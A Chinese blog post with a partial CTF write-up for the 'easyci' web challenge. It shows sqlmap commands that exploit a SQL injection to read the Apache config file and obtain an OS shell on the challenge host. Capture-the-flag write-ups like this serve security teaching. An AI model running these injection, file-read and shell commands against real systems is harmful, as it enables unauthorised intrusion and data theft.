纵横杯CTF部分WEB题解

最新推荐文章于 2023-03-05 13:45:54 发布

ChenZIDu

最新推荐文章于 2023-03-05 13:45:54 发布

阅读量958

点赞数 1

CC 4.0 BY-SA版权

分类专栏： web类文章标签： java linux php

本文链接：https://blog.csdn.net/chenzidu/article/details/111792190

easyci

一道SQL注入题，大概思路：sql注入写入shell，读取flag文件。
sqlmap先读取"/etc/apache2/apache2.conf"内容。

sqlmap -u http://eci-2ze0xe7juyhmgubdhea1.cloudeci1.ichunqiu.com/public/index.php/home/login --data "username=admin&password=1" -p username --technique B --dbms mysql --threads=10 --file-read="/etc/apache2/apache2.conf"

在这里插入图片描述

发现绝对路径（/var/sercet/html）再写入shell

sqlmap -u http://eci-2ze3qpk9e6qoggl1cuol.cloudeci1.ichunqiu.com/public/index.php/home/login --data "username=admin&password=1" -p username --technique B --dbms mysql --os-shell